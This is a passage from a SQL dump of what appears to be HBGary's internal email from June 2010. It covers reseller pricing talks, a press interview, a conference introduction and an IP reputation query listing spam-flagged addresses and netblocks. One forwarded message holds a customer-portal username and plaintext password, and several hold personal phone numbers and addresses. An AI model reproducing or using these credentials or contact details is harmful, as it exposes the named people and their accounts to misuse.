government\r\ncustomers.  If you can support that let\'s talk about it sometime\r\ntoday.  I think the TMC is what a lot of gov customers want but it\'s\r\nnot fully built.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',10288,'aaron_hbgary_com/10288.html'),(6919,'2010-06-02','\"LinkedIn Premium\" <linkedin@em.linkedin.com>','/aaron@hbgary.com/new/1297005023.M421310P14101Q1774.eml','aaron@hbgary.com','Generate high quality leads with LinkedIn Premium','\r\n\r\n\r\n  \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n\r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    Dear Aaron,\r\n    \r\n  \r\n  \r\n    \r\n    Use LinkedIn Premium to find high quality leads\r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n\r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\nUpgrade to LinkedIn Premium and increase your efficiency.  With advanced tools and features you\'ll be able\r\nto quickly find and manage high quality prospects.\r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    3 Tools for Generating Quality Leads\r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\nPremium Search    \r\nSearch by Company or Keyword (i.e. Microsoft, Business Development)\r\nUse filters like \'Industry\', \'Title\', or \'Location\' to narrow down your results\r\nGet alerted when new leads meet your saved search criteria\r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\nInMail    \r\nSend effective and credible messages to anyone on LinkedIn - no introduction needed\r\nBe 30x more effective than with a cold call*\r\nGet a guaranteed response**\r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\nProfile Organizer    \r\nSave your qualified leads for easy access\r\nStay organized with your own personal folders\r\nJot down notes with important details about each lead\r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n\r\n  \r\n    \r\n    \r\n    \r\n  \r\n      \r\n    \r\n    \r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n\r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\nYou can extend your reach further by advertising on LinkedIn.com to target the exact type of business professional you\'re looking for.\r\nLearn more.\r\n    \r\n    \r\n    \r\n    \r\n    \r\nIn many cases, a LinkedIn Premium account can be expensed back to your company.\r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n    \r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n    \r\n  \r\n  \r\n    \r\n    \r\n    \r\n\r\n* LinkedIn Research, 09/2007\r\n** InMail response guarantee: If you don\'t get a response to your InMail message within 7 days, LinkedIn will return that InMail credit to your account.  Unused InMail credits will roll over and accumulate every 30 days for up to 90 days while you are a premium subscriber.\r\n\r\nIf you need assistance or have questions, please contact LinkedIn Customer Service.\r\nThis message is part of an occasional mailing to help you get the most out of LinkedIn. If you prefer not to receive these messages, change your settings.\r\nTo ensure you receive our emails in your inbox, add linkedin@em.linkedin.com to your address book.  \r\n\r\n©2010 LinkedIn Corporation, Inc. LinkedIn, the LinkedIn logo, and InMail are registered trademarks of LinkedIn Corporation in the United States and/or other countries. All rights reserved.\r\n\r\nLinkedIn Corporation, Inc. 2029 Stierlin Ct., Mountain View, CA 94043 USA\r\n    \r\n    \r\n    \r\n    \r\n  \r\n\r\n\r\n   \r\n\r\n',9081,'aaron_hbgary_com/9081.html'),(6920,'2010-06-02','\"Camille Tuutti-Winkler\" <camille@executivebiz.com>','/aaron@hbgary.com/new/1297005023.M681585P14101Q1775.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Link to interview','\r\nAaron, here is the link to the interview.\r\n\r\nhttp://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security-is-a-hunt-an-investigation-it%E2%80%99s-a-challenge/\r\n\r\nThanks!\r\n\r\nCamille Tuutti | Reporter | ExecutiveBiz\r\n8230 Old Courthouse Road, Vienna, VA 22182\r\nOffice: 703-226-7004\r\n________________________________________\r\n',962,'aaron_hbgary_com/962.html'),(6921,'2010-06-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005023.M921675P14101Q1776.eml','\"Ted Vera\" <ted@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','Fwd: Link to interview','Interview with newnewinternet.AaronSent from my iPadBegin forwarded message:From: Camille Tuutti-Winkler &lt;camille@executivebiz.com&gt;\r\nDate: June 2, 2010 10:38:48 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Jennifer Jordan-Harrell &lt;jennifer@executivebiz.com&gt;\r\nSubject: Link to interviewAaron, here is the link to the interview.http://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security-is-a-hunt-an-investigation-it%E2%80%99s-a-challenge/\r\nThanks!Camille Tuutti | Reporter | ExecutiveBiz8230 Old Courthouse Road, Vienna, VA 22182Office: 703-226-7004________________________________________\r\n\r\n',2234,'aaron_hbgary_com/2234.html'),(6922,'2010-06-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005024.M214994P14101Q1777.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Link to interview','They promoted you to CEO of HBGary Inc. Does Greg know, lol. On Jun 2, 2010, at 8:54 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nInterview with newnewinternet.AaronSent from my iPadBegin forwarded message:\r\nFrom: Camille Tuutti-Winkler &lt;camille@executivebiz.com&gt;\r\nDate: June 2, 2010 10:38:48 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Cc: Jennifer Jordan-Harrell &lt;jennifer@executivebiz.com&gt;\r\n\r\nSubject: Link to interviewAaron, here is the link to the interview.http://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security-is-a-hunt-an-investigation-it%E2%80%99s-a-challenge/\r\n\r\nThanks!Camille Tuutti | Reporter | ExecutiveBiz8230 Old Courthouse Road, Vienna, VA 22182Office: 703-226-7004________________________________________\r\n\r\n\r\n\r\n',1373,'aaron_hbgary_com/1373.html'),(6923,'2010-06-02','\"Nart Villeneuve\" <n.villeneuve@secdev.ca>','/aaron@hbgary.com/new/1297005024.M556978P14101Q1778.eml','\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>,\"Scott K. Brown\" <sbrown@dewnet.ncsc.mil>','Re: Introduction','Hi Scott,\r\n\r\nUnfortunately, I\'ll be in Estonia.\r\n\r\nThanks.\r\nNart\r\n\r\nOn 06/01/2010 04:33 PM, Scott K. Brown wrote:\r\n> Nart,\r\n> \r\n> Our REBL Symposium is scheduled for 15-18 June in Maryland.  I would be open\r\n> to discussing a potential briefing if you are interested.\r\n> \r\n> Thanks,\r\n> \r\n> Scott K. Brown\r\n> Technical Director\r\n> NSA Blue Team\r\n> (410) 854-6529\r\n> sbrown@dewnet.ncsc.mil\r\n> \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Nart Villeneuve [mailto:n.villeneuve@secdev.ca] \r\n> Sent: Monday, May 31, 2010 9:18 AM\r\n> To: Aaron Barr\r\n> Cc: Scott K. Brown\r\n> Subject: Re: Introduction\r\n> \r\n> Hi Aaron & Scott,\r\n> \r\n> Thanks for the introduction. It would be great to discuss malware attacks\r\n> and possibly present -- I\'m not sure when the conference is exactly. I\'ll be\r\n> in Estonia for the CCD COE conference in mid-June.\r\n> \r\n> Thanks.\r\n> Nart\r\n> \r\n> On 05/14/2010 11:14 AM, Aaron Barr wrote:\r\n>> Scott,\r\n>> Let me introduce Nart Villeneuve.  Nart is the CTO for SecDev.  Most\r\n> recently they have put together and presented some very interesting findings\r\n> on the cyber attacks against the office of the Dali Lama (ghostnet) and some\r\n> broader related attacks (shadownet).  Their investigative techniques are\r\n> thorough and would likely provide some good information to the group at the\r\n> REBL conference.\r\n>>\r\n>> Nart,\r\n>> Scott managed the Blue Team at NSA and is putting together this years\r\n> conference.  He is looking for some interesting speakers concerning malware,\r\n> malware analysis, threats, integration of capabilities, etc.  I mentioned to\r\n> him I thought your talk would be appropriate and engaging.\r\n>>\r\n>> Aaron\r\n',8762,'aaron_hbgary_com/8762.html'),(6924,'2010-06-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005024.M870208P14101Q1779.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Link to interview','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYeah, it was a good interview saw that this morning\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Wednesday, June 02, 2010 7:54 AM\r\nTo: Ted Vera; Penny Leavy; Greg Hoglund\r\nSubject: Fwd: Link to interview\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nInterview with newnewinternet.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Camille\r\nTuutti-Winkler &lt;camille@executivebiz.com&gt;\r\nDate: June 2, 2010 10:38:48 AM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nCc: Jennifer Jordan-Harrell &lt;jennifer@executivebiz.com&gt;\r\nSubject: Link to interview\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron, here is the link to the interview.\r\n\r\nhttp://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security-is-a-hunt-an-investigation-it%E2%80%99s-a-challenge/\r\n\r\nThanks!\r\n\r\nCamille Tuutti | Reporter | ExecutiveBiz\r\n8230 Old Courthouse Road, Vienna, VA 22182\r\nOffice: 703-226-7004\r\n________________________________________\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13578,'aaron_hbgary_com/13578.html'),(6925,'2010-06-02','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297005025.M255963P14101Q1780.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Introduction','Dear Aaron, Penny,Hope all is well and that you had a relaxing Memorial Day weekend.I wanted to follow-up with you regarding Penny\'s email below on pricing HBGary products for SecDev. To consolidate our previous discussions and to avoid confusion, we (SecDev) envision two aspects to the relationship with HBGary: 1) using HBGary products in our investigative/commercial work, and 2) developing HBGary integration with Palantir as part of a suite of cyber security capabilities.As such, we would require the appropriate license for use in both tasks.For the commercial work, we believe it would be best to deploy HBGary as a loss leader for the initial few clients--we have some upcoming opportunities where this could be the case. In return, we anticipate that this would create a significant market for HBGary products and services in Canada. We are also hoping to write up case studies of these cases, and would make it clear that HBGary was critical to our work. We work this way with Palantir--it\'s a loss leader, but it has created considerable interest and demand for Palantir in Canada which we are now capitalizing on. Of course, such an arrangement with HBGary would not be in perpetuity, instead we would work this way for an an initial 10-12 months while we get things off the ground, and then move to a regular commercial arrangement where we buy the product and pass the cost to the client.Also, as mentioned above we would need a license for use in-house for the integration work - I believe the license you gave Nart would be appropriate for this, but I could be wrong. Needless to say, this integration work will only improve both HBGary and SecDev\'s product offerings and expand our client bases.I look forward to your thoughts.Best wishes,Arnav\r\nOn 2010-06-01, at 5:54 PM, Penny Leavy-Hoglund wrote:OK, here is the long and short&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Yes you can buy Responder Pro as a perpetual license.&nbsp; It’s $10,200 and $2040 per year in maintenance.&nbsp;&nbsp; The consulting copy is $7500 per year but since you are a partner, you can buy the perpetual.&nbsp; It comes with one copy of FastDump Pro.&nbsp; Additional copies of FastDump Pro are $100 per copy.&nbsp; Digital DNA is a separate component and it is $2000 per year.&nbsp; It only works with Responder Pro, it does not work with Field Edition.&nbsp; .&nbsp; You would receive a reseller discount off the product pricing.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We also have CLiP pricing for consultants.&nbsp; This is a “timed license” of Active Defense, or DDNA for ePO or DDNA for Encase.&nbsp; This allows you to use scan 1000’s of machines at once.&nbsp; Some companies like to use it as a “healthcheck”.&nbsp; This is kind of like a “pen test” where it’s a two week license and you scan X amount of nodes.&nbsp; Pricing starts at $5 per node.&nbsp; This way, instead of looking at 15 machines, you can take a percentage of a company and see their threat profile.&nbsp;&nbsp; We also have an engagement license which typically goes for 8 weeks and this again is based per node and is timed.&nbsp; This allows you to further look into an organization and let them know what is going on.&nbsp; May seem like a lot upfront, but basically once you get a handle on the machines, what is in there etc, you can work with them to then do remediation management.&nbsp; Where you offer a service that checks weekly (like a managed service) what is going on.&nbsp; 8 Week licenses start at $10 per node.&nbsp; If they want managed service we do this on a case by case basis.&nbsp;&nbsp;&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Tuesday, June 01, 2010 1:07 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Hi Penny,&nbsp;We have a job upcoming for a client that requires the use of Fast Dump/Responder Pro across multiple machines (~15). What would be the price for us if we bought that product outright and use it for this and future jobs, vs. what would be the per engagement license cost/how would it work?&nbsp;The license we currently have is a trial/eval one.&nbsp;Thanks for this information.&nbsp;Best,Arnav&nbsp;&nbsp;On 2010-06-01, at 2:52 PM, Penny Leavy-Hoglund wrote:Sure you can modify agreement.&nbsp; With regards to products being used for consulting services, you should purchase a copy to do that.&nbsp; I’m assuming you have Responder Pro.&nbsp; We also have AD licenses designed for consultants so that you can charge per engagement fees to customers&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Monday, May 31, 2010 5:34 AMTo:&nbsp;Arnav ManchandaCc:&nbsp;Penny Leavy-Hoglund; \'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Dear Penny, Aaron,&nbsp;I am writing to follow up on the email below regarding marketing both HBGary products and services in Canada, and to modify the reseller agreement that you sent me as required.&nbsp;Aaron: I also wanted to clarify whether we could use the license that you gave Nart for our own commercial work, and what the modalities would be on that. We have a job coming up that would require HBGary product deployment, so I wanted to ensure that we have the right commercial agreement in place on that end.&nbsp;Best wishes,Arnav&nbsp;On 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:Hello Penny,&nbsp;I am writing to follow-up on the reseller agreement that you sent - it looks fine from the standpoint of reselling HB Gary\'s products in Canada.&nbsp;In terms of reselling the package of HBGary services in Canada, could we somehow incorporate that into this agreement, or would you prefer this to be on a case by case basis? I had a conversation with Aaron on Thursday regarding reselling services and how the agreement could be to split the margin 2/3 - 1/3 between HBGary and SecDev. This would also address the integration that HBGary is working on with Fidelis/Endgame.&nbsp;Do let me know your thoughts on this.&nbsp;Best wishes,Arnav&nbsp;&nbsp;On 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:Cool, thanks&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Thursday, May 20, 2010 12:13 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Thanks Penny, will have a look and get back to you by early next week.&nbsp;Best,Arnav&nbsp;On 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:Hi Guys,&nbsp;Attached is our standard reseller form.&nbsp; Here are datasheets and two white papers.&nbsp; We are releasing a new white paper at CEIC, so I’ll send that to you once it’s out.&nbsp;&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Wednesday, May 19, 2010 4:18 AMTo:&nbsp;Aaron BarrCc:&nbsp;Penny LeavySubject:&nbsp;Re: Introduction&nbsp;Hi Aaron,&nbsp;I\'m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever\'s best 613-755-4007&nbsp;Best,Arnav&nbsp;On 2010-05-18, at 4:22 PM, Aaron Barr wrote:Hi Arnav,&nbsp;Sure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They build and manage the product. &nbsp;Penny will get you the reseller agreement. &nbsp;We use the HBGary products as our foundation for enterprise incident response engagements. &nbsp;I will send you some information on this. &nbsp;Can we talk briefly tomorrow?&nbsp;AaronSent from my iPadOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,&nbsp;Thanks for this. It was good to speak to you on Friday.&nbsp;Looking forward to receiving a reseller agreement/other materials that we can go through.&nbsp;Best wishes,Arnav&nbsp;&nbsp;Arnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engaged&nbsp;World Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.&nbsp;Consider the environment. Please don\'t print this e-mail unless you really need to.&nbsp;&nbsp;On 2010-05-14, at 3:49 PM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:From:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Date:&nbsp;May 14, 2010 11:14:20 AM EDTTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;Cc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;Subject:&nbsp;IntroductionScott,Let me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet). &nbsp;Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.Nart,Scott managed the Blue Team at NSA and is putting together this years conference. &nbsp;He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc. &nbsp;I mentioned to him I thought your talk would be appropriate and engaging.Aaron&nbsp;&nbsp;&lt;HBGary-VAR Agrmt (6-08)1 (3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder pro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware Report_FINAL_FINAL.pdf&gt;&nbsp;&nbsp;&nbsp;&nbsp;',1831,'aaron_hbgary_com/1831.html'),(6926,'2010-06-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005025.M599764P14101Q1781.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Your Fidelis Security Systems, Inc. Customer Portal username and 	password','Got it!\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: Fidelis Security Systems Support \r\nDate: Wed, Jun 2, 2010 at 7:15 AM\r\nSubject: Your Fidelis Security Systems, Inc. Customer Portal username\r\nand password\r\nTo: \"ted@hbgary.com\" \r\n\r\n\r\nDear Ted,\r\n\r\nYour Fidelis Security Systems, Inc. Customer Portal login and password\r\ninformation is below.\r\n\r\nThe link to the portal is: http://www.fidelissecurity.com/support/login\r\nPlease bookmark this url to log in as well as to reset your password\r\nin the future.\r\n\r\nThank you,\r\n\r\nFidelis Security Systems, Inc. Customer Support\r\n\r\nUsername: ted@hbgary.com\r\nPassword: 3P1qgukRy\r\n\r\n\r\n\r\n-- \r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623\r\n',3004,'aaron_hbgary_com/3004.html'),(6927,'2010-06-02','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297005025.M857311P14101Q1782.eml','aaron@hbgary.com','Intelligence Support to Cyber Conflict:  A few seats still available!','',6968,'aaron_hbgary_com/6968.html'),(6928,'2010-06-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005026.M351708P14101Q1784.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,mark@hbgary.com','EndGame Query','Oh - and we ran HBGary\'s netblock as well.  No infections.\r\n\r\nTed\r\n',7701,'aaron_hbgary_com/7701.html'),(6929,'2010-06-02','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005026.M821593P14101Q1785.eml','\"Aaron Barr\" <adbarr@mac.com>','Grandma','gram1929@verizon.net\r\n',5563,'aaron_hbgary_com/5563.html'),(6930,'2010-06-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297005026.M96451P14101Q1783.eml','\"Phil Wallisch\" <phil@hbgary.com>,mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>,mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','EndGame Query','Hi Phil,\r\n\r\nBelow are the results of the query and the IPs we searched for, which\r\nwe pulled directly out of ARIN -- if you have other netblocks you\'d\r\nlike us to search please let me know:\r\n\r\nIP : 199.89.73.222\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Jan 20 14:59:00 2009 GMT\r\n\r\nIP : 199.89.93.160\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar  6 16:59:00 2009 GMT\r\n\r\nIP : 199.89.95.143\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 23 08:59:00 2009 GMT\r\n\r\nIP : 199.89.111.246\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Jan 16 07:59:00 2009 GMT\r\n\r\nIP : 199.89.114.2\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Sep 24 05:59:00 2009 GMT\r\n\r\nIP : 199.89.117.127\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar 13 22:59:00 2009 GMT\r\n\r\nIP : 199.89.120.38\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Jan  9 16:59:00 2009 GMT\r\n\r\nIP : 138.20.81.212\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Feb 24 16:59:00 2009 GMT\r\n\r\nIP : 138.20.150.221\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Feb  5 01:59:00 2009 GMT\r\n\r\nIP : 138.20.192.235\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb  6 23:59:00 2009 GMT\r\n\r\nIP : 138.20.242.214\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb  9 14:59:00 2009 GMT\r\n\r\nIP : 144.14.14.168\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 18 17:59:00 2009 GMT\r\n\r\nIP : 144.14.23.118\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Feb  7 01:59:00 2009 GMT\r\n\r\nIP : 144.14.112.192\r\nConfidence : 21.726545%\r\nEvents :\r\n	Spam : Fri Jan  8 18:59:00 2010 GMT\r\n\r\nIP : 144.14.118.159\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Mar 21 10:59:00 2009 GMT\r\n\r\nIP : 144.14.136.11\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 16 23:59:00 2009 GMT\r\n\r\nIP : 144.14.169.194\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Feb 12 17:59:00 2009 GMT\r\n\r\nIP : 144.14.178.88\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 144.14.221.130\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Feb 26 08:59:00 2009 GMT\r\n\r\nIP : 144.14.225.17\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar  2 01:59:00 2009 GMT\r\n\r\nIP : 161.144.25.111\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Mar 10 12:59:00 2009 GMT\r\n\r\nIP : 161.144.26.16\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Tue Feb 10 09:59:00 2009 GMT\r\n\r\nIP : 161.144.32.139\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Mar 16 12:59:00 2009 GMT\r\n\r\nIP : 161.144.41.172\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Thu Feb  5 03:59:00 2009 GMT\r\n\r\nIP : 161.144.43.149\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 14:59:00 2009 GMT\r\n\r\nIP : 161.144.47.191\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Feb 13 19:59:00 2009 GMT\r\n\r\nIP : 161.144.124.154\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar 18 22:59:00 2009 GMT\r\n\r\nIP : 161.144.126.183\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 22 02:59:00 2009 GMT\r\n\r\nIP : 161.144.156.89\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Feb 25 18:59:00 2009 GMT\r\n\r\nIP : 161.144.156.96\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 10:59:00 2009 GMT\r\n\r\nIP : 161.144.225.163\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Mar  7 09:59:00 2009 GMT\r\n\r\nIP : 161.144.228.228\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar  6 18:59:00 2009 GMT\r\n\r\nIP : 205.228.44.177\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Fri Mar  6 22:59:00 2009 GMT\r\n\r\nIP : 205.228.49.222\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Mon Feb 23 09:59:00 2009 GMT\r\n\r\nIP : 205.228.74.213\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sun Mar 15 06:59:00 2009 GMT\r\n\r\nIP : 205.228.118.18\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Sat Feb 21 12:59:00 2009 GMT\r\n\r\nIP : 192.153.81.206\r\nConfidence : 10%\r\nEvents :\r\n	Spam : Wed Mar  4 06:59:00 2009 GMT\r\n\r\n12.42.42.0;12.42.42.127\r\n12.3.55.160;12.3.55.191\r\n12.166.104.160;12.166.104.191\r\n12.14.182.128;12.14.182.135\r\n209.202.130.128;209.202.130.255\r\n205.217.13.240;205.217.13.255\r\n65.211.235.200;65.211.235.207\r\n192.150.173.0;192.150.173.255\r\n204.254.196.0;204.254.199.255\r\n192.153.77.0;192.153.77.255\r\n199.5.0.0;199.5.7.255\r\n199.89.64.0;199.89.127.255\r\n138.20.0.0;138.20.255.255\r\n144.14.0.0;144.14.255.255\r\n161.144.0.0;161.144.255.255\r\n205.228.0.0;205.228.127.255\r\n63.120.20.0;63.120.20.255\r\n192.153.78.0;192.153.78.255\r\n192.153.79.0;192.153.79.255\r\n192.153.80.0;192.153.80.255\r\n192.153.81.0;192.153.81.255\r\n192.153.82.0;192.153.82.255\r\n192.153.83.0;192.153.83.255\r\n192.153.84.0;192.153.84.255\r\n192.153.85.0;192.153.85.255\r\n192.153.86.0;192.153.86.255\r\n4.18.192.160;4.18.192.175\r\n216.91.1.128;216.91.1.255\r\n209.223.197.16;209.223.197.31\r\n204.215.153.96;204.215.153.103\r\n216.210.172.192;216.210.172.199\r\n65.65.75.144;65.65.75.159\r\n207.213.110.80;207.213.110.87\r\n208.217.77.0;208.217.77.255\r\n68.252.139.32;68.252.139.39\r\n209.191.132.64;209.191.132.95\r\n64.74.62.192;64.74.62.223\r\n75.150.121.240;75.150.121.247\r\n76.203.102.112;76.203.102.119\r\n67.39.249.104;67.39.249.111\r\n65.69.134.176;65.69.134.183\r\n63.100.97.208;63.100.97.215\r\n65.242.168.128;65.242.168.255\r\n65.222.138.160;65.222.138.175\r\n24.38.44.48;24.38.44.55\r\n99.152.236.152;99.152.236.159\r\n\r\n-- \r\nTed\r\n',6020,'aaron_hbgary_com/6020.html'),(6931,'2010-06-02','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297005027.M164246P14101Q1786.eml','aaron@hbgary.com','Intelligence Support to Cyber Conflict:  A few seats still available!','\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n          204 &nbsp;New! &nbsp; Basic Intelligence Support to Cyber Conflict; June 21.\r\n          206&nbsp;&nbsp;New!&nbsp; Advanced Intelligence Support to Cyber Conflict; June 24-25. \r\nCourse Descriptions:\r\n204 &nbsp;New!  Basic Intelligence Support to Cyber Conflict; June 21.\r\nBasic Intelligence Support to Cyber Conflict is an unclassified 1-day introduction to intelligence support to warfare conducted in 